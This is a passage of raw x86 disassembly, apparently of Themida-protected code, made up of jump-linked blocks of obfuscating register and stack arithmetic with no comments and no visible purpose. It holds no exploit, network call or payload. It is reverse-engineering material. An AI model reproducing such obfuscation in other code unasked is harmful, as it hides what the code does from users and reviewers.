loc_56359A:				; CODE XREF: sub_55EDA7+63E7j
		pop	esp
		jmp	loc_56A7A5
; ---------------------------------------------------------------------------


loc_5635A0:				; CODE XREF: sub_55EDA7+3C45j
		push	ebp
		mov	ebp, 6D7A0B30h
		and	ecx, ebp
		pop	ebp
		push	edi
		mov	edi, 16A653F6h
		jmp	loc_560DF4
; ---------------------------------------------------------------------------


loc_5635B4:				; CODE XREF: sub_55EDA7+C78Cj
		mov	[esp-18h+arg_14], ebp
		jmp	loc_56F424
; ---------------------------------------------------------------------------


loc_5635BC:				; CODE XREF: sub_55EDA7+4043j
		mov	ecx, esi
		pop	esi
		add	esi, 0F266CC4h
		jmp	loc_55FDD0
; ---------------------------------------------------------------------------


loc_5635CA:				; CODE XREF: sub_55EDA7+13CCEj
		mov	ecx, [esp+0Ch+var_E+2]
		add	esp, 4
		push	[esp+8+var_8]
		push	[esp+0Ch+var_E+2]
		pop	ebx
		add	esp, 4
		add	esp, 4
		jmp	loc_571842
; ---------------------------------------------------------------------------


loc_5635E8:				; CODE XREF: sub_55EDA7+8631j
		inc	bh
		shr	bh, 6
		add	bh, 1
		add	bh, 43h
		sub	al, bh
		pop	ebx
		pop	ebx
		sub	al, bl
		push	56A4h
		mov	[esp+0], ebx
		mov	bl, 29h
		sub	bl, 6Ch
		push	edx
		mov	dl, 96h
		jmp	loc_562E18
; ---------------------------------------------------------------------------


loc_56360E:				; CODE XREF: sub_55EDA7+11447j
		mov	[esp+4+var_4], edi
		mov	edi, esp
		jmp	loc_55F99C
; ---------------------------------------------------------------------------


loc_563618:				; CODE XREF: sub_55EDA7+7135j
		sub	ecx, 290C3758h
		shl	ecx, 5
		sub	ecx, 0DFFA9FFCh
		mov	ebx, ecx
		pop	ecx
		push	esi
		mov	esi, 741F1C54h
		shr	esi, 8
		dec	esi
		add	esi, 4005C5h
		dec	esi
		xor	esi, 7B871FBAh
		add	edi, esi
		pop	esi
		add	edi, ebx
		sub	edi, 7B333B65h
		jmp	loc_56F2CF
; ---------------------------------------------------------------------------


loc_563651:				; CODE XREF: sub_55EDA7+A941j
		xchg	ebp, [esp+0]
		pop	esp
		shr	word ptr [esp-4+arg_0],	cl
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56365F:				; CODE XREF: sub_55EDA7+2DD7j
		not	edi
		add	edi, 34B8836Ch
		xor	ebp, edi
		pop	edi
		push	5AFCh
		mov	[esp-18h+arg_14], ebp
		not	[esp-18h+arg_14]
		pop	ebp
		jmp	loc_56E679
; ---------------------------------------------------------------------------


loc_56367B:				; CODE XREF: sub_55EDA7-67Bj
		pop	edi
		push	40D5h
		mov	[esp-34h+arg_30], ebp
		mov	ebp, 765A3F77h
		push	edx
		jmp	loc_562EAD
; ---------------------------------------------------------------------------


loc_56368F:				; CODE XREF: sub_55EDA7+5D44j
		add	esp, 4
		push	1048h
		jmp	loc_5659AC
; ---------------------------------------------------------------------------


loc_56369F:				; CODE XREF: sub_55EDA7+7B9Aj
		push	ebx
		mov	ebx, 26AB438Eh
		jmp	loc_572D13
; ---------------------------------------------------------------------------


loc_5636AA:				; CODE XREF: sub_55EDA7+20A4j
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_56FA87
; ---------------------------------------------------------------------------


loc_5636B8:				; CODE XREF: sub_55EDA7+8E67j
		add	ebx, 4
		jmp	loc_56399C
; ---------------------------------------------------------------------------


loc_5636C3:				; CODE XREF: sub_55EDA7+2DF6j
		mov	ch, 8Bh
		jmp	loc_5634BA
; ---------------------------------------------------------------------------


loc_5636CA:				; CODE XREF: sub_55EDA7+147Ej
		push	eax
		jmp	loc_56C0D9
; ---------------------------------------------------------------------------


loc_5636D0:				; CODE XREF: sub_55EDA7+1398Ej
		inc	ecx
		sub	ecx, 6D7D7F6Ch
		add	ebx, 76915C76h
		jmp	loc_56A0C4
; ---------------------------------------------------------------------------


loc_5636E2:				; CODE XREF: sub_55EDA7+7D04j
		mov	edx, 77053C75h
		add	eax, edx
		pop	edx
		jmp	loc_565116
; ---------------------------------------------------------------------------


loc_5636EF:				; CODE XREF: sub_55EDA7+406Cj
		mov	ebp, 7BA95FF8h
		sub	[esp+18h+var_16+2], 24987B28h
		add	[esp+18h+var_16+2], ebp
		add	[esp+18h+var_16+2], 24987B28h
		pop	ebp
		jmp	loc_563A27
; ---------------------------------------------------------------------------


loc_56370E:				; CODE XREF: sub_55EDA7+1FF8j
		sub	eax, 0E807C7Ah
		sub	eax, esi
		add	eax, 0E807C7Ah
		sub	eax, 485A3760h
		jmp	loc_56B04B
; ---------------------------------------------------------------------------


loc_563724:				; CODE XREF: sub_55EDA7+3B83j
		mov	esi, [esp-18h+arg_14]
		jmp	loc_572C3A
; ---------------------------------------------------------------------------


loc_56372C:				; CODE XREF: sub_55EDA7+564Bj
		mov	esi, 0D12A587Eh
		xor	ebp, esi
		pop	esi
		jmp	loc_56C3FD
; ---------------------------------------------------------------------------


loc_563739:				; CODE XREF: sub_55EDA7+715Dj
		mov	ebp, 28E837E7h
		push	5B81h
		mov	[esp-18h+arg_14], ecx
		mov	ecx, 2C720BFEh
		sub	eax, 2BEE4F97h
		add	eax, ecx
		add	eax, 2BEE4F97h
		jmp	loc_561499
; ---------------------------------------------------------------------------


loc_56375C:				; DATA XREF: Themida_:0055DFF0o
		mov	cx, word ptr [esp-18h+arg_14]
		sub	esp, 4
		mov	[esp-14h+arg_10], edi
		push	esp
		push	[esp-10h+arg_C]
		pop	edi
		push	eax
		jmp	loc_569BD5
; ---------------------------------------------------------------------------


loc_563771:				; CODE XREF: sub_55EDA7+6A57j
		add	esp, 4
		add	ebx, ecx
		pop	ecx
		inc	ebx
		jmp	loc_56209D
; ---------------------------------------------------------------------------


loc_563780:				; CODE XREF: sub_55EDA7+DFC8j
		add	edi, 4
		xchg	edi, [esp-14h+arg_10]
		jmp	loc_56B31F
; ---------------------------------------------------------------------------


loc_56378E:				; CODE XREF: sub_55EDA7+11990j
		push	ebp
		jmp	loc_56584A
; ---------------------------------------------------------------------------


loc_563794:				; CODE XREF: sub_55EDA7+F6FFj
		mov	edi, [esp-10h+arg_C]
		add	esp, 4
		pop	[esp-14h+arg_10]
		jmp	loc_56E840
; ---------------------------------------------------------------------------


loc_5637A2:				; CODE XREF: sub_55EDA7+232Dj
		push	esi
		jmp	loc_568C01
; ---------------------------------------------------------------------------


loc_5637A8:				; CODE XREF: sub_55EDA7+134ACj
		add	bl, 48h
		mov	ecx, [esp-14h+arg_10]
		add	esp, 4
		sub	bl, 0E3h
		add	bl, al
		add	bl, 0E3h
		jmp	loc_562A50
; ---------------------------------------------------------------------------


loc_5637BE:				; CODE XREF: sub_55EDA7-8B5j
		sub	ebp, 34211BA4h
		mov	edi, ebp
		mov	ebp, [esp-0Ah+arg_4+2]
		add	esp, 4
		jmp	loc_56304B
; ---------------------------------------------------------------------------


loc_5637D1:				; CODE XREF: sub_571998+1j
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_57147F
; ---------------------------------------------------------------------------


loc_5637DE:				; CODE XREF: sub_55EDA7+A414j
		sub	edi, 1D545F77h
		add	edi, 363818B1h
		add	edi, 6907521Ah
		xor	eax, edi
		jmp	loc_568F52
; ---------------------------------------------------------------------------


loc_5637F7:				; CODE XREF: sub_55EDA7+197Fj
		push	esi
		mov	eax, [esp-28h+arg_24]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-24h+arg_20]
		jmp	loc_55F9C2
; ---------------------------------------------------------------------------


loc_56380F:				; CODE XREF: sub_55EDA7+7DA1j
		push	esi
		push	57C342FCh
		mov	esi, [esp-1Ch+arg_18]
		add	esp, 4
		xor	esi, 233C05B7h
		jmp	loc_568314
; ---------------------------------------------------------------------------


loc_563826:				; CODE XREF: sub_55EDA7-6CCj
		mov	[esp-2Ch+arg_28], ecx
		jmp	loc_5613AA
; ---------------------------------------------------------------------------


loc_56382E:				; CODE XREF: sub_55EDA7+F975j
		sub	esp, 4
		mov	[esp-28h+arg_24], edx
		mov	edx, 68BB925Ch
		jmp	loc_56CA21
; ---------------------------------------------------------------------------


loc_56383E:				; CODE XREF: sub_55EDA7+DB24j
		push	edx
		not	[esp-24h+arg_20]
		pop	edx
		not	edx
		jmp	loc_570DD4
; ---------------------------------------------------------------------------


loc_56384A:				; CODE XREF: sub_55EDA7+C29Fj
		sub	edx, ebx
		pop	ebx
		xchg	edx, [esp-2Ch+arg_28]
		jmp	loc_56D3E8
; ---------------------------------------------------------------------------


loc_563855:				; CODE XREF: sub_55EDA7+2C3Bj
		neg	[esp-1Ch+arg_18]
		jmp	loc_567837
; ---------------------------------------------------------------------------


loc_56385D:				; CODE XREF: sub_55EDA7+2731j
		mov	edx, 1EFA6037h
		jmp	loc_56B74A
; ---------------------------------------------------------------------------


loc_563867:				; CODE XREF: sub_55EDA7+8A0Dj
		push	eax
		push	656B2676h
		pop	eax
		add	eax, 9A94D98Eh
		mov	esi, eax
		pop	eax
		sub	ebp, esi
		pop	esi
		xchg	ebp, [esp+4+var_4]
		pop	esp
		mov	[esp+0], edx
		push	ebp
		mov	ebp, 75132C1Eh
		xor	ebp, 649C380Ah
		mov	edx, ebp
		pop	ebp
		and	edx, 17C92F2Bh
		shr	edx, 5
		xor	edx, 6604029Eh
		push	ebp
		mov	ebp, 49D0FBFh
		sub	eax, 1F6D6FA0h
		sub	eax, ebp
		add	eax, 1F6D6FA0h
		pop	ebp
		sub	eax, edx
		push	edi
		mov	edi, 73706A51h
		inc	edi
		add	edi, 912CA56Dh
		add	eax, edi
		pop	edi
		pop	edx
		push	ebp
		mov	ebp, 14B5784Eh
		sub	eax, ebp
		pop	ebp
		push	ebx
		push	ecx
		mov	ecx, 3DB8154Fh
		add	ecx, 67BA0ADBh
		sub	ecx, 94BC060Eh
		jmp	loc_568B14
; ---------------------------------------------------------------------------


loc_5638E5:				; CODE XREF: sub_55EDA7+FDD4j
		mov	ebp, edx
		pop	edx
		add	ebp, 53515A22h
		jmp	loc_57069E
; ---------------------------------------------------------------------------


loc_5638F3:				; CODE XREF: sub_55EDA7+59E3j
		add	eax, ebp
		jmp	loc_56C6F6
; ---------------------------------------------------------------------------


loc_5638FA:				; CODE XREF: sub_55EDA7+10D04j
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	sub_56D886
; ---------------------------------------------------------------------------


loc_563905:				; CODE XREF: sub_55EDA7+7C44j
		xchg	eax, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	ax, word ptr [esp+4+var_4]
		push	634Fh
		mov	[esp+8+var_8], edi
		jmp	loc_566780
; ---------------------------------------------------------------------------


loc_56391C:				; CODE XREF: sub_55EDA7+D711j
		xor	edi, 0F8148D5Fh
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		jmp	loc_572B5D
; ---------------------------------------------------------------------------


loc_563934:				; CODE XREF: sub_55EDA7+C2Fj
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	2ED5h
		mov	[esp+38h+var_3A+2], ebp
		mov	ebp, 4
		jmp	loc_565330
; ---------------------------------------------------------------------------


loc_56394E:				; CODE XREF: sub_55EDA7+8234j
		push	edi
		mov	edi, 12840FD0h
		mov	eax, 0FFB7CDFh
		add	eax, edi
		pop	edi
		add	ecx, eax
		pop	eax
		sub	eax, 0F3446E7h
		add	eax, ecx
		push	ebx
		mov	ebx, 121E06C6h
		inc	ebx
		push	ebx
		jmp	loc_571736
; ---------------------------------------------------------------------------


loc_563973:				; CODE XREF: sub_55EDA7+2F05j
		push	4
		pop	ecx
		add	edi, 58F12E84h
		add	edi, ecx
		push	ebx
		jmp	loc_570B2A
; ---------------------------------------------------------------------------


loc_563987:				; CODE XREF: sub_55EDA7+325Aj
		pop	ebx
		jmp	loc_561448
; ---------------------------------------------------------------------------


loc_56398D:				; CODE XREF: sub_55EDA7+A013j
		push	esp
		mov	edx, [esp+16h+var_16]
		add	esp, 4
		jmp	loc_56DF2F
; ---------------------------------------------------------------------------


loc_56399C:				; CODE XREF: sub_55EDA7+4917j
		add	ebx, 4
		sub	esp, 4
		mov	[esp+0], ebx
		push	[esp-2+arg_0+2]
		jmp	loc_569129
; ---------------------------------------------------------------------------


loc_5639B1:				; CODE XREF: sub_55EDA7-31Cj
		sub	esi, edi
		pop	edi
		jmp	loc_56218E
; ---------------------------------------------------------------------------


loc_5639B9:				; CODE XREF: sub_55EDA7+8522j
		sub	al, 0F5h
		push	edx
		mov	dl, 9Dh
		sub	al, dl
		pop	edx
		push	esi
		mov	esi, esp
		jmp	loc_56FB89
; ---------------------------------------------------------------------------


loc_5639C9:				; CODE XREF: sub_55EDA7+8F54j
		push	54BB424Ah
		pop	ebp
		shr	ebp, 2
		dec	ebp
		xor	ebp, 0EAD12F6Eh
		jmp	loc_5708E9
; ---------------------------------------------------------------------------


loc_5639DE:				; DATA XREF: Themida_:0055DF60o
		push	edx
		jmp	loc_56C564
; ---------------------------------------------------------------------------


loc_5639E4:				; CODE XREF: sub_55EDA7+26F5j
		push	edi
		mov	edi, 2C720BFEh
		add	eax, 39AF6F44h
		sub	eax, edi
		sub	eax, 39AF6F44h
		jmp	loc_561FCF
; ---------------------------------------------------------------------------


loc_5639FB:				; CODE XREF: sub_55EDA7+53B8j
		add	eax, ecx
		push	esi
		mov	esi, 3CC02CA7h
		xor	esi, 8CF6C10h
		jmp	loc_570B56
; ---------------------------------------------------------------------------


loc_563A0E:				; CODE XREF: sub_55EDA7+4176j
		push	ecx
		jmp	loc_568094
; ---------------------------------------------------------------------------


loc_563A14:				; CODE XREF: sub_55EDA7+5BB9j
		mov	ebp, esi
		pop	esi
		add	edx, ebp
		pop	ebp
		push	40B4h
		mov	[esp-10h+arg_C], ebx
		jmp	loc_56C55A
; ---------------------------------------------------------------------------


loc_563A27:				; CODE XREF: sub_55EDA7+4962j
		pop	edx
		jmp	loc_566DB9
; ---------------------------------------------------------------------------


loc_563A2D:				; CODE XREF: Themida_:0057186Bj
		sub	esp, 4
		mov	[esp+14h+var_16+2], edx
		push	1496h
		push	esp
		pop	[esp+1Ch+var_1E+2]
		add	[esp+18h+var_1A+2], 4
		pop	edx
		push	eax
		jmp	loc_5614BC
; ---------------------------------------------------------------------------


loc_563A4A:				; CODE XREF: Themida_:0056BBD1j
		xchg	ecx, esi
		jmp	loc_561FB1
; ---------------------------------------------------------------------------


loc_563A51:				; CODE XREF: sub_55EDA7+52B6j
		pop	esi
		jmp	loc_56085F
; ---------------------------------------------------------------------------


loc_563A57:				; CODE XREF: sub_55EDA7+B30j
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp+38h+var_3A+2]
		pop	esp
		jmp	loc_563F51
; ---------------------------------------------------------------------------


loc_563A6B:				; CODE XREF: sub_55EDA7+DDE5j
		xchg	ecx, ebp
		xor	ebp, 0F4BFDB4Fh
		mov	ecx, ebp
		jmp	loc_571315
; ---------------------------------------------------------------------------


loc_563A7A:				; CODE XREF: sub_55EDA7+66C8j
		pop	esp
		push	[esp+30h+var_32+2]
		mov	ebx, [esp+34h+var_36+2]
		add	esp, 4
		jmp	loc_56157F
; ---------------------------------------------------------------------------


loc_563A8C:				; CODE XREF: sub_55EDA7+2A1j
		dec	eax
		jmp	loc_562A0D
; ---------------------------------------------------------------------------


loc_563A92:				; DATA XREF: Themida_:0055DF78o
		mov	ax, word ptr [esp+28h+var_2A+2]
		push	3C15h
		mov	[esp+2Ch+var_2E+2], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		push	esi
		mov	esi, 431B1CB6h
		mov	ecx, esi
		mov	esi, [esp+34h+var_36+2]
		add	esp, 4
		push	edi
		push	16F5171Ah
		pop	edi
		push	ecx
		push	ebp
		mov	ebp, 3EEE4EF0h
		mov	ecx, 23237015h
		xor	ecx, ebp
		jmp	loc_57057E
; ---------------------------------------------------------------------------


loc_563AD2:				; CODE XREF: sub_55EDA7+4552j
		not	ebx
		inc	ebx
		shl	ebx, 4
		add	ebx, 3B84CEFh
		sub	eax, ebx
		pop	ebx
		push	0A64h
		mov	[esp-20h+arg_1C], ebp
		mov	ebp, 623528FDh
		sub	eax, ebp
		push	[esp-20h+arg_1C]
		pop	ebp
		add	esp, 4
		and	eax, 1E3F75FEh
		push	esi
		jmp	loc_562D22
; ---------------------------------------------------------------------------


loc_563B02:				; CODE XREF: sub_55EDA7+84F1j
		mov	ecx, 4
		add	edi, 5325318h
		sub	edi, ecx
		sub	edi, 5325318h
		pop	ecx
		push	edi
		jmp	loc_5614A1
; ---------------------------------------------------------------------------


loc_563B1C:				; CODE XREF: sub_55EDA7+2B3Fj
		mov	esi, esp
		jmp	loc_563167
; ---------------------------------------------------------------------------


loc_563B23:				; CODE XREF: sub_55EDA7+2175j
		add	eax, ebx
		jmp	loc_572300
; ---------------------------------------------------------------------------


loc_563B2A:				; CODE XREF: sub_55E312+753j
		pop	esi
		xor	ecx, [esp+22h+var_22]
		xor	[esp+22h+var_22], ecx
		jmp	loc_571D3B
; ---------------------------------------------------------------------------


loc_563B36:				; CODE XREF: sub_55EDA7+4101j
		mov	cx, [esp+0]
		push	ebx
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 7F7D7B42h
		sub	ecx, 35D906F4h
		shr	ecx, 7
		add	ecx, 5FE920F4h
		push	6DB0h
		mov	[esp+10h+var_12+2], edi
		mov	edi, 5CA60D4Eh
		xor	edi, 1D4F3902h
		xor	ecx, edi
		mov	edi, [esp+10h+var_12+2]
		jmp	loc_56FD0F
; ---------------------------------------------------------------------------


loc_563B70:				; CODE XREF: sub_55EDA7-2D3j
		add	eax, edi
		push	ebx
		mov	ebx, 607922CFh
		push	edi
		mov	edi, 44A43577h
		sub	ebx, edi
		pop	edi
		jmp	loc_56A42D
; ---------------------------------------------------------------------------


loc_563B86:				; CODE XREF: sub_55EDA7+8B18j
		mov	edi, eax
		pop	eax
		sub	[esp-2Ch+arg_30], edi
		mov	edi, [esp-2Ch+arg_28]
		add	esp, 4
		mov	eax, [esp-30h+arg_2C]
		jmp	loc_55FA9C
; ---------------------------------------------------------------------------


loc_563B9B:				; CODE XREF: sub_55EDA7+BDBCj
		push	ecx
		mov	cl, 0CEh
		add	cl, 0EFh
		not	cl
		inc	cl
		add	cl, 0AAh
		sub	bl, 55h
		sub	bl, cl
		add	bl, 55h
		pop	ecx
		sub	al, 0C0h
		sub	al, bl
		push	7CCBh
		jmp	loc_571DCB
; ---------------------------------------------------------------------------


loc_563BBF:				; CODE XREF: sub_56C3E2-DBB6j
		mov	ch, 83h
		sub	ch, 84h
		shl	ch, 1
		jmp	loc_5660E9
; ---------------------------------------------------------------------------


loc_563BCB:				; CODE XREF: sub_55EDA7+BA4Bj
		mov	[esp-2Ch+arg_28], ecx
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 29440839h
		add	esi, 18A92A16h
		jmp	loc_56E347
; ---------------------------------------------------------------------------


loc_563BE2:				; CODE XREF: sub_55EDA7+D800j
		push	[esp-24h+arg_20]
		jmp	loc_56CFFC
; ---------------------------------------------------------------------------


loc_563BEA:				; CODE XREF: sub_55EDA7+B3E7j
		pop	edx
		add	bl, 4Bh
		sub	bl, 1Fh
		push	ecx
		mov	ch, bl
		mov	ah, ch
		pop	ecx
		pop	ebx
		xor	bh, ah
		pop	ax
		push	edx
		mov	dh, 7Eh
		and	dh, 80h
		add	dh, 0E6h
		and	bh, dh
		pop	edx
		jmp	loc_5617D4
; ---------------------------------------------------------------------------


loc_563C0D:				; CODE XREF: sub_55EDA7+A19Ej
		mov	[esp-2Ah+arg_24+2], ebx
		mov	ebx, 4BABFE1h
		jmp	loc_56A282
; ---------------------------------------------------------------------------


loc_563C1A:				; CODE XREF: sub_55EDA7+B055j
		xor	edx, ebp
		jmp	loc_571D23
; ---------------------------------------------------------------------------


loc_563C21:				; CODE XREF: sub_55EDA7+10302j
		mov	edx, esp
		push	ecx
		push	esp
		jmp	loc_5606BC
; ---------------------------------------------------------------------------


loc_563C2A:				; CODE XREF: sub_55EDA7+69D8j
		not	[esp-22h+arg_1C+2]
		push	[esp-22h+arg_1C+2]
		pop	ecx
		jmp	loc_56C8A1
; ---------------------------------------------------------------------------


loc_563C36:				; CODE XREF: sub_56E141+2Bj
		add	eax, 6AC2244Ch
		mov	ebx, [esp-22h+arg_1C+2]
		push	eax
		jmp	loc_5648A0
; ---------------------------------------------------------------------------


loc_563C44:				; CODE XREF: sub_55EDA7+BBDDj
		pop	edi
		add	ebp, edx
		sub	ebp, 45381959h
		mov	edx, [esp-22h+arg_1C+2]
		add	esp, 4
		jmp	loc_572C54
; ---------------------------------------------------------------------------


loc_563C58:				; CODE XREF: sub_55EDA7+4212j
		pop	ebp
		jmp	loc_5662BC
; ---------------------------------------------------------------------------


loc_563C5E:				; CODE XREF: sub_56DE02+15j
		mov	esp, [esp+0Ch+var_E+2]
		jmp	loc_56B930
; ---------------------------------------------------------------------------


loc_563C66:				; CODE XREF: sub_55EDA7+7E83j
		mov	[esp+0Ch+var_E+2], eax
		mov	al, 80h
		jmp	loc_56C39A
; ---------------------------------------------------------------------------


loc_563C70:				; CODE XREF: sub_55EDA7+12C7j
		mov	esi, ebx
		pop	ebx
		mov	edi, esi
		push	[esp-24h+arg_20]
		pop	esi
		add	esp, 4
		sub	eax, 45415EA9h
		sub	eax, edi
		jmp	loc_570DDB
; ---------------------------------------------------------------------------


loc_563C88:				; CODE XREF: sub_55EDA7+141Bj
		add	ebx, edx
		jmp	loc_55E5A2
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp+2Ch+var_2E+2], eax
		pushf
		jmp	loc_55F605
; ---------------------------------------------------------------------------


loc_563C9D:				; CODE XREF: sub_55EDA7+F903j
		xor	ebp, [esp+30h+var_32+2]
		jmp	loc_572B01
; ---------------------------------------------------------------------------


loc_563CA5:				; CODE XREF: sub_55EDA7+1F6Bj
		pop	edx
		push	esi
		mov	esi, 4
		jmp	loc_569CC7
; ---------------------------------------------------------------------------


loc_563CB1:				; DATA XREF: Themida_:0055E020o
		push	edx
		push	2C6Fh
		jmp	loc_56A256
; ---------------------------------------------------------------------------


loc_563CBC:				; CODE XREF: sub_55EDA7+B26Aj
		push	[esp-14h+arg_14]
		pop	ebx
		pop	[esp-14h+arg_10]
		jmp	loc_56A3A0
; ---------------------------------------------------------------------------


loc_563CC9:				; CODE XREF: sub_55EDA7+FA42j
		mov	ecx, 563129Ah
		xor	eax, ecx
		pop	ecx
		sub	ebp, eax
		jmp	loc_56B9CE
; ---------------------------------------------------------------------------


loc_563CD8:				; CODE XREF: sub_55EDA7+10244j
		sub	ch, 87h
		sub	ch, 60h
		sub	al, ch
		pop	ecx
		jmp	loc_56E77B
; ---------------------------------------------------------------------------


loc_563CE6:				; CODE XREF: sub_55EDA7+A193j
		or	ebp, edx
		mov	edx, [esp-20h+arg_1C]
		jmp	loc_560287
; ---------------------------------------------------------------------------


loc_563CF0:				; CODE XREF: sub_55EDA7+5A96j
		mov	fs:[edx], al
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_563CF8:				; CODE XREF: sub_55EDA7+C58Fj
		pop	edx
		xor	eax, 1210242Ch
		jmp	loc_567932
; ---------------------------------------------------------------------------


loc_563D03:				; CODE XREF: sub_56EB11+21BDj
		not	[esp-24h+arg_20]
		jmp	loc_56CC22
; ---------------------------------------------------------------------------


loc_563D0B:				; CODE XREF: sub_55EDA7+9D9j
		sub	esi, ecx
		jmp	loc_56B0F4
; ---------------------------------------------------------------------------


loc_563D12:				; CODE XREF: sub_55EDA7+368Dj
		mov	esp, [esp+16h+var_16]
		btr	word ptr [esp+16h+var_16], ax
		pushf
		jmp	loc_56F1AE
; ---------------------------------------------------------------------------


loc_563D20:				; CODE XREF: sub_55EDA7+7FBBj
		pop	eax
		or	edi, 0A28079Fh
		add	edi, 71611D88h
		xor	edi, 24F82FD8h
		push	ebp
		jmp	loc_565A94
; ---------------------------------------------------------------------------


loc_563D39:				; CODE XREF: sub_55EDA7+1395Ej
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5661F0
; ---------------------------------------------------------------------------


loc_563D47:				; CODE XREF: sub_55EDA7+135A7j
		pop	ecx
		pop	ecx
		sub	eax, ebx
		add	eax, 62931AD2h
		mov	ebx, [esp+16h+var_16]
		add	esp, 4
		add	eax, edx
		mov	dword ptr [eax], 0
		push	[esp+12h+var_12]
		pop	eax
		push	31D2h
		mov	[esp+16h+var_16], edi
		mov	edi, esp
		push	7998h
		jmp	loc_56632D
; ---------------------------------------------------------------------------


loc_563D76:				; CODE XREF: sub_55EDA7+1038Bj
		sub	ecx, 6A764ACCh
		add	ecx, 0BCF4B443h
		add	ebx, 39C60504h
		add	ebx, 2FA78D5h
		sub	ebx, ecx
		jmp	loc_5717B4
; ---------------------------------------------------------------------------


loc_563D95:				; CODE XREF: sub_55EDA7+10960j
		add	ebp, esi
		jmp	loc_5652ED
; ---------------------------------------------------------------------------


loc_563D9C:				; CODE XREF: sub_56EA3D+6j
		add	ebp, 0C27DD570h
		add	eax, ebp
		pop	ebp
		jmp	loc_56753C
; ---------------------------------------------------------------------------


loc_563DAA:				; CODE XREF: sub_55EDA7+11386j
		sub	eax, 13DE187h
		add	edi, 424A3949h
		add	edi, eax
		sub	edi, 424A3949h
		pop	eax
		push	405Ah
		mov	[esp+16h+var_16], ebx
		mov	ebx, 2735479Ah
		inc	ebx
		not	ebx
		xor	ebx, 9C7BE7E0h
		sub	eax, ebx
		pop	ebx
		add	eax, edi
		add	eax, 44B15F84h
		pop	edi
		jmp	loc_564C51
; ---------------------------------------------------------------------------


loc_563DE4:				; CODE XREF: sub_55EDA7+BC53j
		dec	ebp
		neg	ebp
		sub	ebp, 2D18FAC7h
		or	edx, ebp
		pop	ebp
		jmp	loc_55F574
; ---------------------------------------------------------------------------
		mov	cx, [esp+0]
		jmp	loc_56FAA1
; ---------------------------------------------------------------------------


loc_563DFE:				; CODE XREF: Themida_:00570621j
		push	eax
		push	edx
		mov	edx, 66184D47h
		shl	edx, 6
		add	edx, 7B43E96Dh
		mov	eax, edx
		jmp	loc_5622E5
; ---------------------------------------------------------------------------


loc_563E15:				; CODE XREF: sub_55EDA7+8E40j
		add	esi, 4
		push	esi
		push	[esp+16h+var_12]
		mov	esi, [esp+1Ah+var_1A]
		add	esp, 4
		jmp	loc_56AC41
; ---------------------------------------------------------------------------


loc_563E2E:				; CODE XREF: sub_55EDA7+DE83j
		mov	ecx, [esp+16h+var_16]
		push	eax
		push	20A4h
		mov	[esp+1Eh+var_1E], esp
		jmp	loc_5660B2
; ---------------------------------------------------------------------------


loc_563E3F:				; CODE XREF: sub_55EDA7+CBDCj
		push	ebp
		mov	ebp, 6EEB45D1h
		push	615Eh
		mov	[esp+26h+var_26], eax
		jmp	loc_561FB9
; ---------------------------------------------------------------------------


loc_563E52:				; CODE XREF: sub_55EDA7+65AFj
		push	edx
		mov	edx, 4
		jmp	loc_56626A
; ---------------------------------------------------------------------------


loc_563E5D:				; CODE XREF: sub_55EDA7+F922j
		add	ebp, 4
		jmp	loc_56F6E6
; ---------------------------------------------------------------------------


loc_563E68:				; CODE XREF: sub_55ED87-39Dj
		inc	eax
		jmp	loc_565D24
; ---------------------------------------------------------------------------


loc_563E6E:				; CODE XREF: sub_56D886+1j
		push	592F611Ah
		push	[esp+2Eh+var_2E]
		pop	ebp
		jmp	loc_569977
; ---------------------------------------------------------------------------


loc_563E7C:				; CODE XREF: sub_55EDA7+11E0Cj
		movzx	eax, al
		mov	dx, word ptr [esp+2Eh+var_2E]
		sub	esp, 4
		mov	[esp+32h+var_32], ebx
		push	esp
		pop	ebx
		push	1BACh
		mov	[esp+36h+var_36], ebp
		mov	ebp, 4
		jmp	loc_567113
; ---------------------------------------------------------------------------


loc_563EA0:				; CODE XREF: sub_55E2EC+E7EEj
		push	3C1Ah
		push	esp
		pop	[esp+3Eh+var_3E]
		push	edx
		mov	edx, 4
		add	[esp+3Eh+var_3A], edx
		pop	edx
		pop	eax
		jmp	loc_568D2B
; ---------------------------------------------------------------------------


loc_563EBA:				; CODE XREF: sub_55EDA7+2228j
		pop	ecx
		dec	ebx
		xor	ebx, 7A0737BDh
		jmp	sub_56D9BE
; ---------------------------------------------------------------------------


loc_563EC7:				; CODE XREF: sub_571050+10j
		add	esp, 4
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, edi
		jmp	loc_570D61
; ---------------------------------------------------------------------------


loc_563EDA:				; CODE XREF: sub_55EDA7+3172j
		push	75DFh
		jmp	loc_56343E
; ---------------------------------------------------------------------------


loc_563EE4:				; CODE XREF: sub_55EDA7+B34Aj
		shl	ah, 4
		jmp	loc_55E43A
; ---------------------------------------------------------------------------


loc_563EEC:				; CODE XREF: sub_55EDA7+674Ej
		push	ebx
		pop	eax
		push	[esp+0Eh+var_E]
		mov	ebx, [esp+12h+var_12]
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		add	esi, edx
		mov	edx, [esp+1Ah+var_1A]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		push	esi
		push	[esp+1Ah+var_16]
		mov	esi, [esp+1Eh+var_1E]
		add	esp, 4
		pop	[esp+1Ah+var_1A]
		pop	esp
		add	esp, 4
		push	ebx
		push	eax
		mov	ebx, [esp+16h+var_16]
		add	esp, 4
		jmp	loc_562117
; ---------------------------------------------------------------------------


loc_563F36:				; CODE XREF: sub_55EDA7+B30Ej
		mov	[esp+12h+var_12], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
